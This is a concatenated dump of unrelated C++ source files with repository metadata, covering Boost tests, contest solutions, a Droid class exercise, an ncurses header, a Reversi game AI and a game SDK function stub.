it.x.deactivate(); BOOST_REQUIRE(it.randomize()); BOOST_REQUIRE(it.sum.active()); BOOST_REQUIRE(it.product.active()); BOOST_REQUIRE(!it.x.active()); std::cout << it << std::endl; BOOST_REQUIRE(it.a == 2 && it.b == 2); } BOOST_AUTO_TEST_CASE(test2) { Item1 it("Item1"); BOOST_REQUIRE(!it.item.randomize()); BOOST_REQUIRE(!it.randomize()); it.item.x.deactivate(); BOOST_REQUIRE(it.item.randomize()); std::cout << it.item << std::endl; BOOST_REQUIRE(it.item.a == 2 && it.item.b == 2); BOOST_REQUIRE(it.randomize()); std::cout << it << std::endl; BOOST_REQUIRE(it.c == 3 && it.d == 3); it.item.x.activate(); BOOST_REQUIRE(!it.randomize()); BOOST_REQUIRE(!it.item.randomize()); } BOOST_AUTO_TEST_SUITE_END() // ConstraintManagement
6214a4213d0018ad806316a62c53db1f54efabd1
f57a583d41ddf3bf4e8a96e32f38de9d83ff6ae8
/c++/listener_function.cpp
7f957a3fbf4bd8fb5b47a599ff47d42f3d3fad0c
[]
no_license
sansajn/test
5bc34a7e8ef21ba600f22ea258f6c75e42ce4c4e
c1bed95984123d90ced1376a6de93e3bb37fac76
refs/heads/master
2023-09-01T00:04:48.222555
2023-08-22T15:14:34
2023-08-22T15:14:34
224,257,205
2
3
null
null
null
null
UTF-8
C++
false
false
438
cpp
listener_function.cpp
// implementacia listener-a pomocou std::function #include <functional> #include <vector> #include <iostream> struct foo { using donefce_t = std::function<void ()>; void notify_done() { for (auto f : _listeners) f(); } std::vector<donefce_t> _listeners; }; void g() {std::cout << "foo instance done!\n";} int main(int argc, char * argv[]) { foo f; f._listeners.push_back(foo::donefce_t{g}); f.notify_done(); return 0; }
bffa04b45f2750b3ad14f538adfb95fb9a625b96
b8e80a65aca1a4d653d5a24296d260797c7059dd
/front/ncurses/Modules/name/Name.hpp
2113f9bc9772b21c4e165c41429eaa98346971d2
[]
no_license
ZelZorgia/my-gkrellm
75ea401dbbaff05213c0efe449a89807cdfacba3
1a1aef308dee4ca6769861d53bef208e240986c7
refs/heads/master
2023-02-19T14:39:02.921839
2021-01-24T21:55:38
2021-01-24T21:55:38
332,563,104
0
0
null
null
null
null
UTF-8
C++
false
false
274
hpp
Name.hpp
#ifndef NAME_HPP_ #define NAME_HPP_ #include <ncurses.h> #include "../../../../back/SysInfo.hpp" class Name : public Metrics::SysInfo { protected: public: Name(); virtual ~Name(); void display(); virtual bool initialize(); //___ to chose each module }; #endif
39683c73c61d6f198c89ae99ee2e0fc861b850d3
e41805c6a4c8cd70a9dfa7bc267464bc0a2e2b40
/Code Cup 3/Dast Garmi/TeamMeli.cpp
e93036e66e03b71eb7da5f5b65616a938319c109
[]
no_license
parsarahimian1997/cpp
345a2794b3c81466fc7d01c296e5cd85614a14f0
9e087c71b9d6589f184a670125029fde8ad10389
refs/heads/master
2021-06-14T13:36:15.764612
2021-05-27T11:06:21
2021-05-27T11:06:21
152,288,469
0
0
null
2018-10-09T20:41:13
2018-10-09T16:56:08
null
UTF-8
C++
false
false
632
cpp
TeamMeli.cpp
#include <iostream> using namespace std; int main() { int a, b, c, d[7][7], s[100 + 7] = { 0 }, x = 0, y = 0, z = 0; long long price = 0; scanf("%d %d %d", &a, &b, &c); b *= 2; c *= 3; int i; for (i = 0; i < 3; i++) for (int j = 0; j < 2; j++) scanf("%d", &d[i][j]); for (i = d[0][0]; i < d[0][1]; i++) s[i]++; for (i = d[1][0]; i < d[1][1]; i++) s[i]++; for (i = d[2][0]; i < d[2][1]; i++) s[i]++; for (i = 0; i < 100; i++) { if (s[i] == 1) x++; if (s[i] == 2) y++; if (s[i] == 3) z++; } price += (x*a) + (y*b) + (z*c); printf("%lld\n", price); return 0; }
eec0e180c8553ca0936e2af51b54cca1af0e4d60
fd5016ba91170565066df1f0c42aa6568b18dbac
/ex00/droid.cpp
1e1aff4cf805badf5eeae79fa69e834734e03d3a
[]
no_license
wswatsonws/piscine_cpp_d04
c5500cd5ab346af63e6b64d5c83fb126b7ade253
d134000fc511ea806942ba96755ef4a5e5206fee
refs/heads/master
2020-03-22T06:40:25.216255
2018-07-06T04:45:53
2018-07-06T04:45:53
139,649,792
0
2
null
null
null
null
UTF-8
C++
false
false
3,047
cpp
droid.cpp
#include <iostream> #include "droid.hh" Droid::Droid(std::string const& id) : _id(id), _energy(50), _attack(25), _thoughness(15), _status(NULL) { _status = new std::string("Standing by"); std::cout << "Droid '" << _id << "' Activated" << std::endl; } Droid::Droid(Droid const& other) : _id(other._id), _energy(other._energy), _attack(other._attack), _thoughness(other._thoughness), _status(NULL) { if (other._status) { if (_status) delete _status; _status = new std::string(*other._status); } else if (_status) { delete _status; _status = NULL; } std::cout << "Droid '" << _id << "' Activated, Memory Dumped" << std::endl; } Droid::~Droid() { if (_status) delete _status; std::cout << "Droid '" << _id << "' Destroyed" << std::endl; } Droid& Droid::operator=(Droid const& other) { if (this == &other) return *this; _id = other._id; _energy = other._energy; if (other._status) { if (_status) *_status = *other._status; else _status = new std::string(*other._status); } else if (_status) { delete _status; _status = NULL; } return *this; } std::string const& Droid::getId() const { return _id; } void Droid::setId(std::string const& id) { _id = id; } size_t Droid::getEnergy() const { return _energy; } void Droid::setEnergy(size_t const val) { _energy = val; if (_energy> 100) _energy = 100; } size_t Droid::getAttack() const { return _attack; } size_t Droid::getToughness() const { return _thoughness; } size_t Droid::getThoughness() const { return _thoughness; } std::string const* Droid::getStatus() const { return _status; } void Droid::setStatus(std::string* val) { if (_status) delete _status; _status = val; } void Droid::setStatus(std::string const& val) { if (_status) *_status = val; else _status = new std::string(val); } bool Droid::operator==(Droid const& other) const { return getAttack() == other.getAttack() && getToughness() == other.getToughness() && getId() == other.getId() && getStatus() && other.getStatus() && *(getStatus()) == *(other.getStatus()); } bool Droid::operator!=(Droid const& other) const { return !(getAttack() == other.getAttack() && getToughness() == other.getToughness() && getId() == other.getId() && getStatus() && other.getStatus() && *(getStatus()) == *(other.getStatus())); } Droid& operator<<(Droid& droid, size_t& value) { if (droid.getEnergy() + value > 100) { value -= 100 - droid.getEnergy(); droid.setEnergy(100); } else { droid.setEnergy(droid.getEnergy() + value); value = 0; } return droid; } std::ostream& operator<<(std::ostream& stream, Droid const& droid) { stream << "Droid '" << droid.getId() << "', " << (droid.getStatus() ? *droid.getStatus() : "") << ", " << droid.getEnergy(); return stream; }
1b522ab3f08e537b01bbfe1c9b63fc9501c25811
3624e9f0a026b57ebdafa4e842b93f56e5a8504d
/Codeforces/182 Division 1/Problem B/B.cc
89d278352a6dc143f13675f1bd87f7d661e6d0fd
[ "MIT" ]
permissive
ailyanlu1/Competitive-Programming-2
54109c8644d3ac02715dc4570916b212412c25c0
6c990656178fb0cd33354cbe5508164207012f24
refs/heads/master
2020-03-23T07:48:20.560283
2018-02-15T06:49:49
2018-02-15T06:49:49
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,979
cc
B.cc
#include<cstdio> #include<iostream> #include<cmath> #include<algorithm> #include<cstring> #include<map> #include<set> #include<vector> #include<utility> #include<queue> #include<stack> #define sd(x) scanf("%d",&x) #define sd2(x,y) scanf("%d%d",&x,&y) #define sd3(x,y,z) scanf("%d%d%d",&x,&y,&z) #define fi first #define se second #define pb(x) push_back(x) #define mp(x,y) make_pair(x,y) #define LET(x, a) __typeof(a) x(a) #define foreach(it, v) for(LET(it, v.begin()); it != v.end(); it++) #define _ ios_base::sync_with_stdio(false);cin.tie(NULL);cout.tie(NULL); #define __ freopen("input.txt", "r", stdin);freopen("output.txt", "w", stdout); #define tr(x) cout<<x<<endl; #define tr2(x,y) cout<<x<<" "<<y<<endl; #define tr3(x,y,z) cout<<x<<" "<<y<<" "<<z<<endl; #define tr4(w,x,y,z) cout<<w<<" "<<x<<" "<<y<<" "<<z<<endl; using namespace std; int n, d, x, y, inf = 1e9, g[101][101], a[101], dis[101], v[101]; vector<pair<int, int> > c; int distt(int x, int y){ x--, y--; return abs(c[x].fi-c[y].fi)+abs(c[x].se-c[y].se); } bool check(int val){ for(int i = 2; i <= n; i++) dis[i] = -1; dis[1] = val; memset(v, 0, sizeof v); for(int i = 1; i < n; i++){ int vertex, mx = -inf; for(int j = 1; j <= n; j++){ if(v[j] == 0 and dis[j] > mx){ mx = dis[j]; vertex = j; } } if(vertex == n) break; v[vertex] = 1; for(int j = 1; j <= n; j++) dis[j] = max(dis[j], mx + g[vertex][j]); } if(dis[n] >= 0){ // tr("here"); return true; } return false; } int main(){ sd2(n,d); for(int i = 2; i <= n-1; i++){ sd(a[i]); } for(int i = 1; i <= n; i++){ sd2(x,y); c.pb(mp(x,y)); } for(int i = 1; i <= n; i++){ for(int j = 1; j <= n; j++){ if(i == j){ g[i][j] = -inf; } else{ g[i][j] = a[i] - (d*distt(i,j)); } } } int lo = 1, hi = inf, mid; while(lo <= hi){ // tr2(lo,hi); mid = (lo+hi)/2; if(check(mid)) hi = mid-1; else lo = mid+1; } printf("%d\n",lo); return 0; }
518b54370ec45a8b3da2a1c908aa95198145faff
7ad1e8409d23ef82022a28fe58242d0736109530
/leetcode/055_Jump-Game/JumpGame.cpp
5940bb8c1e18a676ca1eba18dfd356368d27b73c
[ "MIT" ]
permissive
chasingegg/Online_Judge
c96900f4ab8c93bf5863776408c3d47952632b1b
8a3f4b5b207cbeda921c743a527a25bf9c7b6248
refs/heads/master
2021-05-20T17:42:17.597158
2020-12-09T09:37:40
2020-12-09T09:37:40
83,519,213
1
0
null
null
null
null
UTF-8
C++
false
false
434
cpp
JumpGame.cpp
#include <iostream> #include <vector> using namespace std; class Solution { public: bool canJump(vector<int>& nums) { int len = nums.size(); if (len <= 0) return false; int last = 0; for (int i = 0; i < len; ++i) { if (last >= i) { last = max(i + nums[i], last); if (last >= len -1) break; } } return last >= len -1; } };
fdba416154aab071e237d9601dbef8b0ea95ed13
efc85fa3fe48c712693a5a93848d2d1305ae2603
/index_tests/declaration_vs_definition/func_associated_function_params.cc
fbf17f3a8ce6e6cf26dac5027e20b9d783d1b2c5
[ "Apache-2.0" ]
permissive
MaskRay/ccls
320165aeadc38879aabb4dcb83cf8582b1383cac
ee2d4f5b9a2181e2c71341d34c7d2463f0c28cd1
refs/heads/master
2023-07-19T02:55:06.652053
2023-07-17T23:06:47
2023-07-17T23:06:49
127,506,824
3,725
351
Apache-2.0
2023-09-10T01:37:47
2018-03-31T06:47:05
C++
UTF-8
C++
false
false
1,677
cc
func_associated_function_params.cc
int foo(int, int); int foo(int aa, int bb); int foo(int aaa, int bbb); int foo(int a, int b) { return 0; } /* OUTPUT: { "includes": [], "skipped_ranges": [], "usr2func": [{ "usr": 2747674671862363334, "detailed_name": "int foo(int, int)", "qual_name_offset": 4, "short_name": "foo", "spell": "5:5-5:8|5:1-5:36|2|-1", "bases": [], "vars": [14555488990109936920, 10963664335057337329], "callees": [], "kind": 12, "parent_kind": 0, "storage": 0, "declarations": ["1:5-1:8|1:1-1:18|1|-1", "2:5-2:8|2:1-3:16|1|-1", "4:5-4:8|4:1-4:26|1|-1"], "derived": [], "uses": [] }], "usr2type": [{ "usr": 53, "detailed_name": "", "qual_name_offset": 0, "short_name": "", "bases": [], "funcs": [], "types": [], "vars": [], "alias_of": 0, "kind": 0, "parent_kind": 0, "declarations": [], "derived": [], "instances": [14555488990109936920, 10963664335057337329], "uses": [] }], "usr2var": [{ "usr": 10963664335057337329, "detailed_name": "int b", "qual_name_offset": 4, "short_name": "b", "spell": "5:20-5:21|5:16-5:21|1026|-1", "type": 53, "kind": 253, "parent_kind": 12, "storage": 0, "declarations": [], "uses": [] }, { "usr": 14555488990109936920, "detailed_name": "int a", "qual_name_offset": 4, "short_name": "a", "spell": "5:13-5:14|5:9-5:14|1026|-1", "type": 53, "kind": 253, "parent_kind": 12, "storage": 0, "declarations": [], "uses": [] }] } */
d1f09a0f66cd231c830e9a933924af41947c8502
01a42b69633daf62a2eb3bb70c5b1b6e2639aa5f
/SCUM_A_2_functions.cpp
1c1639921c6ec6757f78d5b844fd0d8a2a212571
[]
no_license
Kehczar/scum_sdk
45db80e46dac736cc7370912ed671fa77fcb95cf
8d1770b44321a9d0b277e4029551f39b11f15111
refs/heads/master
2022-07-25T10:06:20.892750
2020-05-21T11:45:36
2020-05-21T11:45:36
265,826,541
1
0
null
null
null
null
UTF-8
C++
false
false
1,690
cpp
SCUM_A_2_functions.cpp
// Scum 3.79.22573 (UE 4.24) #ifdef _MSC_VER #pragma pack(push, 0x8) #endif #include "../SDK.hpp" namespace Classes { //--------------------------------------------------------------------------- //Functions //--------------------------------------------------------------------------- // Function A_2.A_1_C.ReceiveTick // (Net, NetReliable, Exec, MulticastDelegate, Public, Protected, NetClient, BlueprintCallable, BlueprintEvent, Const, NetValidate) // Parameters: // float* DeltaSeconds (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData) void AA_1_C::ReceiveTick(float* DeltaSeconds) { static auto fn = UObject::FindObject<UFunction>("Function A_2.A_1_C.ReceiveTick"); AA_1_C_ReceiveTick_Params params; params.DeltaSeconds = DeltaSeconds; auto flags = fn->FunctionFlags; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } // Function A_2.A_1_C.ExecuteUbergraph_A_2 // (NetReliable, NetRequest, Native, Event, NetResponse, MulticastDelegate, Public, Protected, NetClient, BlueprintCallable, BlueprintEvent, Const, NetValidate) // Parameters: // int* EntryPoint (BlueprintVisible, BlueprintReadOnly, Parm, ZeroConstructor, IsPlainOldData) void AA_1_C::ExecuteUbergraph_A_2(int* EntryPoint) { static auto fn = UObject::FindObject<UFunction>("Function A_2.A_1_C.ExecuteUbergraph_A_2"); AA_1_C_ExecuteUbergraph_A_2_Params params; params.EntryPoint = EntryPoint; auto flags = fn->FunctionFlags; fn->FunctionFlags |= 0x400; UObject::ProcessEvent(fn, &params); fn->FunctionFlags = flags; } } #ifdef _MSC_VER #pragma pack(pop) #endif
74efe3c8161af3aaa565adda59b4b3c8e530d321
37d39ead2254c951144d1d06f280bf74b9e07553
/game_v2.0/enemy.h
5514e83b15938e8008bf613ac335d1414db34b6a
[]
no_license
FlamasterRu/game_v2.0
bd63f7b2c8e9a6fc3195323ba5d4e0019d8627d4
72ed689c4132073e29d70e0f2f8bcf48ba381e4b
refs/heads/master
2023-02-18T22:18:14.754653
2021-01-21T17:07:11
2021-01-21T17:07:11
323,447,560
0
0
null
null
null
null
WINDOWS-1251
C++
false
false
1,123
h
enemy.h
#pragma once #include <SFML/Graphics.hpp> using namespace sf; class Enemy : public sf::Drawable { private: Vector2f e_Position; //// Координаты левого верхнего угла примоугольника, который описывает фигурку героя public: virtual void update(const float elapsedTime) = 0; virtual void setPosition(const Vector2f& position) = 0; virtual FloatRect getGlobalBounds() = 0; virtual void turnAround() = 0; protected: virtual void draw(sf::RenderTarget& target, sf::RenderStates states) const = 0; }; class EnemyHarmless : public Enemy { private: Texture e_Texture; sf::ConvexShape e_Convex; int e_SpeedX; int e_SpeedY; public: EnemyHarmless(); EnemyHarmless(const EnemyHarmless& e) = delete; void update(const float elapsedTime); void setPosition(const Vector2f& position); void setPosition(const float x, const float y); FloatRect getGlobalBounds(); FloatRect getLocalBounds(); void turnAround(); protected: void draw(sf::RenderTarget& target, sf::RenderStates states) const; };
957e7515c24d6057541648b405ce038f5752f6aa
9cad0aa7f0f95e1f0a3a4c9f740ede5d871b0199
/from-xxx-downloader/browser_references.h
98075283c2711acc209dc46104688c69e3aa775a
[]
no_license
theunreplicated/my-chromium-embedded-downloader
9ad266100781dadee5ae6a65ed54357e388534fd
44c96354a45ac62c6cbe3c90f736cb311eb24e75
refs/heads/master
2021-01-01T05:37:12.445522
2015-04-03T20:23:06
2015-04-03T20:23:06
33,381,050
1
0
null
null
null
null
UTF-8
C++
false
false
403
h
browser_references.h
#ifndef INC_BROWSER_REFERENCES_H #define INC_BROWSER_REFERENCES_H #inclxxxx-geheimes-Wort!!e "inclxxxx-geheimes-Wort!!e\internal\cef_ptr.h" #inclxxxx-geheimes-Wort!!e "AppHandler.h" #inclxxxx-geheimes-Wort!!e "DownLoadHandler_Browser.h" class AppHandler; class DownLoadHandler_Browser; extern CefRefPtr<AppHandler>apphandler_browser; extern CefRefPtr<DownLoadHandler_Browser>downloader_browser; #endif
34c6fd1244b2780f029cc6a3b543115b07e86108
c5fab1124c7eddfcdf4977a12a6328541012cbba
/Polytechnique Montréal/Project 1 - Embedded system/Projet Final/lib_dir/source/initialisation.cpp
b71e3436b49c8072bf66d9a9ba06fa1717919930
[]
no_license
pltanguay/projects
4603e585017e92bb20aadec421fb9bb2635dc652
0b4764656e02de0ffb55ff2cb7d67f36041bc4f4
refs/heads/master
2023-02-07T03:24:41.343001
2021-01-12T18:56:21
2021-01-12T18:56:21
223,986,206
0
0
null
2023-01-24T04:42:20
2019-11-25T15:53:26
HTML
UTF-8
C++
false
false
1,589
cpp
initialisation.cpp
/**************************************************************************** * Fichier: initialisation.cpp * Auteur: Melody Roy, Pier-Luc Tanguay, Aya Kamate et Calie Paulin * Date: 3 décembre 2019 * Description: Fonction relative à l'initialisation ****************************************************************************/ #include "initialisation.h" /**************************************************************************** * Fonction: initialisationGlobale * Description: Configure les paramètres nécessaires à l'exécution du programme * Paramètres: - aucun * Retour: - aucun ****************************************************************************/ void initialisationGlobale() { cli(); initialisationUART(); // PORTA = capteur ligne (entrée) DDRA = 0x00; // PB0 et PB1 = LED (sortie) // PB2 et PB3 = son (sortie) // PD7 = echo Sonar (entrée) // PD6 = trigger Sonar (sortie) DDRB = 0b01111111; // PORTC = écran DDRC = 0x11; // PD3 = Bouton carré (entrée) // PD4 = Bouton rond (entrée) DDRD = 0b11110011; // Active deux interrupts // Interrupt 0 = Bouton carré // Interrupt 2 = Bouton rond EIMSK |= (1 << INT0) | (1 << INT1); // Type d'interrupt // Interrupt 0, sense control = Rising edge , BoutonRond // Interrupt 1, sense control = Falling edge , BoutonCarre EICRA |= (1 << ISC01) | (1 << ISC00) | (1 << ISC11); // On place boutonActive à faux au début du programme. boutonCarreActive = false; boutonRondActive = false; sei(); }
b93bbfd52440db0ccadaa19e7adb6b69765aafc2
161a140e25f981f70f7905edcd1aa9a9024d0663
/src/modules/search/DocumentQuery.h
3ae70b401e930cbfb6b9afde1674d155b567565f
[]
no_license
yjsyyyjszf/ffead-cpp
d22f6018eb7e6e51bfd4727f0341f1e7ba9a9faf
06d28da2915d1d2d009706bf8c51baf63ed22ec5
refs/heads/master
2022-04-25T21:56:30.567492
2020-04-26T18:19:57
2020-04-26T18:19:57
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,677
h
DocumentQuery.h
/* * DocumentQuery.h * * Created on: 03-Nov-2018 * Author: sumeet */ #ifndef DOCUMENTQUERY_H_ #define DOCUMENTQUERY_H_ #include "string" #include "map" #include "vector" #include "JSONSerialize.h" class DocumentQuery { private: std::string id; std::string indexName; std::map<std::string, std::string> properties; std::map<std::string, std::string> fields; std::string data; public: DocumentQuery(); virtual ~DocumentQuery(); const std::string& getData() const; const std::map<std::string, std::string>& getFields() const; void setFields(const std::map<std::string, std::string>& fields); const std::string& getId() const; void setId(const std::string& id); const std::string& getIndexName() const; void setIndexName(const std::string& indexName); const std::map<std::string, std::string>& getProperties() const; void setProperties(const std::map<std::string, std::string>& properties); template<class T> bool add(T& t) { if(data=="") { std::string cn = CastUtil::getClassName(t); int serOpt = SerializeBase::identifySerOption(cn); data = JSONSerialize::serialize(t, serOpt); } return false; } template<class T> bool update(T& t) { if(data=="") { std::string cn = CastUtil::getClassName(t); int serOpt = SerializeBase::identifySerOption(cn); data = JSONSerialize::serialize(t, serOpt); } return false; } template<class T> std::map<int, std::string> addMulti(std::vector<T>& vecT) { if(data=="") { std::string cn = CastUtil::getClassName(vecT); int serOpt = SerializeBase::identifySerOption(cn); data = JSONSerialize::serialize(vecT, serOpt); } return false; } }; #endif /* DOCUMENTQUERY_H_ */
25583a5916d257bbd935191eb5a525c7b75af372
ab48e8db1fdabc699bc30d54ad271fb020147c37
/171491509李柏琦/31main.cpp
aebf4d0d34a9376fe2d89b59753b8e81d5224b91
[]
no_license
PackyLNU/2019_os-ai3
ad5681f36066db20dfbf001b5eff9111dcfe8328
1873366fb76d23ec32db8bed46f0523b7cd1eb63
refs/heads/master
2020-08-30T03:53:41.172271
2019-12-09T12:13:12
2019-12-09T12:13:12
218,254,749
0
0
null
2019-10-29T09:52:54
2019-10-29T09:52:53
null
GB18030
C++
false
false
7,575
cpp
31main.cpp
#include<iostream> #include <stdlib.h> #include<windows.h> using namespace std; int list[8][8] = { 0 }; //棋盘状态,1是黑子,2是白子,0是空的 int p = 1, aip = 0, air, aic, lastr = 0, lastc = 0; //p是现在该谁下,1是黑方,2是白方 int p1, p2, p3, p4, temp1[8][8], temp2[8][8], temp3[8][8], temp4[8][8];//4层博弈对应的AI分数和棋局 const int dr[8] = { 0, 0, 1, 1, 1, -1, -1, -1 }, dc[8] = { 1, -1, 0, 1, -1, 0, 1, -1 };//8个方向向量 int book[65]; //棋谱 const int no = 1000;//AI的分数不可能达到的上界值 const int prio[8][8] = { //prio是每个位置的优先级,数值越高越好 { 80, -20, 8, 6, 6, 8, -20, 80 }, { -20, -20, 0, -1, -1, 0, -20, -20 }, { 8, 0, 3, 5, 5, 3, 0, 8 }, { 6, -1, 5, 1, 1, 5, -1, 6 }, { 6, -1, 5, 1, 1, 5, -1, 6 }, { 8, 0, 3, 5, 5, 3, 0, 8 }, { -20, -20, 0, -1, -1, 0, -20, -20 }, { 80, -20, 8, 6, 6, 8, -20, 80 } }; bool playOK(int r, int c, int dr, int dc) //判断某个格子的某个方向能否下子 { if (list[r][c] != 0)return false; int tr = r, tc = c; //tr和tc分别表示该点通过行和列往特定方向移动后的坐标 while (tr + dr >= 0 && tr + dr < 8 && tc + dc >= 0 && tc + dc < 8 && list[tr + dr][tc + dc] == 3 - p) { //循环遍历,未到达边界或者右边的棋子是对方的则循环继续,否则循环退出 tr += dr, tc += dc; //移动坐标 } //若使循环退出的那一格里,是对方的棋子,则(r,c)可落子,否则不可落子 if (tr == r && tc == c)return false; //难点,这一句不可少 if (tr + dr >= 0 && tr + dr < 8 && tc + dc >= 0 && tc + dc < 8 && list[tr + dr][tc + dc] == p)return true; return false; } bool OK(int r, int c) //判断某个格子能否下子 { if (list[r][c])return false; for (int i = 0; i < 8; i++) //只要一个方向满足可以下的条件,就可以下 if (playOK(r, c, dr[i], dc[i]))return true; //调用 return false; } int num(int k) //统计棋子数目,1是黑子,2是白子 { int s = 0; for (int i = 0; i < 8; i++)for (int j = 0; j < 8; j++)if (list[i][j] == k)s++; return s; } void display() //显示棋盘和棋子 { system("cls"); for (int i = 0; i < 8; i++) { if (!i) { cout << " "; for (int j = 0; j < 8; j++)cout << char('A' + j) << " "; cout << endl; } cout << i + 1 << " "; for (int j = 0; j < 8; j++) { if (list[i][j] == 2)cout << "○"; else if (list[i][j] == 1)cout << "●"; else if (OK(i, j))cout << "?"; else cout << " ."; //调用 cout << " "; } cout << endl << endl; } cout << "黑方:" << num(1) << " 白方:" << num(2) << " 轮到"; //调用 if (p == 1)cout << "黑方下\n"; else cout << "白方下\n"; cout << "候选项:"; for (int i = 0; i < 8; i++)for (int j = 0; j < 8; j++)if (OK(i, j)) //调用 cout << " " << char('1' + i) << char('A' + j); cout << "\n最后一个落子位置是" << lastr + 1 << char(lastc + 'A'); } void init() //初始化 { list[3][3] = list[4][4] = 2; list[3][4] = list[4][3] = 1; while (aip != 1 && aip != 2 && aip != 3) { cout << "选择\n1,人机对战,AI先\n2,人机对战,玩家先\n3,双人对战\n"; cin >> aip; } display(); //调用 } bool end_() //判断游戏是否结束 { for (int i = 0; i < 8; i++)for (int j = 0; j < 8; j++)if (OK(i, j))return false; //调用 p = 3 - p; //改变p的2个地方之一 for (int i = 0; i < 8; i++)for (int j = 0; j < 8; j++)if (OK(i, j))return false; //调用 display(); cout << "\n游戏结束\n"; if (num(1) < num(2))cout << "白方胜利"; //调用 else if (num(1)>num(2))cout << "黑方胜利"; //调用 else cout << "平局"; return true; } void turn(int tr, int tc, int dr, int dc) //吃子函数play()的一个方向 { if (!playOK(tr, tc, dr, dc))return; //难点,这一句不可少 //调用 while (tr + dr >= 0 && tr + dr < 8 && tc + dc >= 0 && tc + dc < 8 && list[tr + dr][tc + dc] == 3 - p) { list[tr + dr][tc + dc] = p; //在该处换掉棋子的颜色 tr += dr, tc += dc; } } void play(int r, int c) { lastr = r, lastc = c; for (int i = 0; i < 8; i++)turn(r, c, dr[i], dc[i]); //调用 list[r][c] = p; book[num(1) + num(2)] = r * 8 + c; //调用 p = 3 - p; //改变p的2个地方之一 } int getPoint() { int point = 0; for (int i1 = 0; i1<8; i1++)for (int j1 = 0; j1<8; j1++) { if (list[i1][j1] == aip)point += prio[i1][j1]; //若是ai的子,则加上该位置的积分 if (list[i1][j1] == 3 - aip) point -= prio[i1][j1]; //若是玩家的子,则减去该位置的积分 } return point; } void AI3()//函数里面会改变p,但是调用函数不会改变p { p4 = no; for (int iiii = 0; iiii < 8; iiii++)for (int jjjj = 0; jjjj < 8; jjjj++) //第四层 { if (!OK(iiii, jjjj))continue; //调用 for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)temp4[i][j] = list[i][j]; play(iiii, jjjj);//调用 p = 3 - p; if (p4 > getPoint())p4 = getPoint();//调用 for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)list[i][j] = temp4[i][j]; } if (p4 == no)p4 = getPoint(); //调用 if (p3 < p4)p3 = p4; } void AI2()//函数里面会改变p,但是调用函数不会改变p { p3 = -no; for (int iii = 0; iii < 8; iii++)for (int jjj = 0; jjj < 8; jjj++) //第三层 { if (!OK(iii, jjj))continue; //调用 for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)temp3[i][j] = list[i][j]; play(iii, jjj);//调用 AI3(); p = 3 - p; for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)list[i][j] = temp3[i][j]; } if (p3 == -no) { p = 3 - p; AI3(); p = 3 - p; } if (p2 > p3)p2 = p3; } void AI() //函数里面会改变p,但是调用函数不会改变p { p1 = -no; for (int i = 0; i<8; i++)for (int j = 0; j<8; j++) //第一层 { if (!OK(i, j))continue; //调用 for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)temp1[i][j] = list[i][j]; play(i, j);//调用 p2 = no; for (int ii = 0; ii < 8; ii++)for (int jj = 0; jj < 8; jj++) //第二层 { if (!OK(ii, jj))continue; //调用 for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)temp2[i][j] = list[i][j]; play(ii, jj);//调用 AI3(); //调用 p = 3 - p; for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)list[i][j] = temp2[i][j]; } if (p2 == no) { p = 3 - p; AI2(); //调用 p = 3 - p; } if (p1 < p2)p1 = p2, air = i, aic = j; //难点,如果调用AI函数却1次都没有执行这条语句,那么AI就会下错位置 p = 3 - p; for (int i = 0; i<8; i++)for (int j = 0; j<8; j++)list[i][j] = temp1[i][j]; } } void go() //落下一个子 { display(); //调用 if (p == aip) { AI();//调用 play(air, aic);//调用 Sleep(1000); return; } cout << "\n输入落子位置:行(1-8)和列(A-H) 输入00查看棋谱" << endl; char x, y; cin >> x >> y; if (x == '0') { for (int i = 5; i <= num(1) + num(2); i++)cout << " " << book[i] / 8 + 1 << char(book[i] % 8 + 'A'); cout << "\n按任意键退出"; system("pause>nul"); return; } int r = x - '1', c = y - 'a'; if (y >= 'A' && y < 'Z')c = y - 'A'; if (!OK(r, c)) //调用 { cout << "ERROR!"; return; } play(r, c); //调用 } int main() { system("color f0");//白底黑字 init(); while (!end_())go(); system("pause>nul"); return 0; }
0f9236a75ede31d46ebb6272ec69b3fc18fdcf77
9ab0c979bb9d2d268afba6762b2e452f049c71f3
/Mathematics/Bit Operations/MultipleOfSeven.cpp
0aeeb9f321065b64dfda6abde61637dfe05ceadd
[]
no_license
Imran4424/Algorithm-implementation
1db3878ddd94d632c1bea8adc145cc692ad274a5
7a8afdb02aa32b727cdd0068df43019ebb1a2b07
refs/heads/master
2022-02-22T14:20:05.700998
2022-02-10T19:14:15
2022-02-10T19:14:15
90,155,134
2
0
null
null
null
null
UTF-8
C++
false
false
268
cpp
MultipleOfSeven.cpp
#include <iostream> using namespace std; int MultipleOfSeven(int num) { return ((num << 3) - num); } int main(int argc, char const *argv[]) { int num; cin >> num; cout << "Multiple of seven of " << num << " is: " << MultipleOfSeven(num) << endl; return 0; }
141f7c01223ecd74555d1d2146c3660a35e913e5
77beebe469cc7dd0d4ae745d54c4cd377f610d01
/src/test/TestBlending.cpp
bad47d1718bd4ceb15501009acf679dbace98801
[ "MIT" ]
permissive
rajsahae/opengl-playground-app
a6f3be7fd71b8448436ff2d2b10449e4e92d2ca3
567ab8a901288ffdcc6d23eb570347c7a270bb36
refs/heads/master
2020-05-31T15:24:32.514604
2019-06-25T07:38:20
2019-06-25T07:38:20
190,356,792
0
0
null
null
null
null
UTF-8
C++
false
false
2,849
cpp
TestBlending.cpp
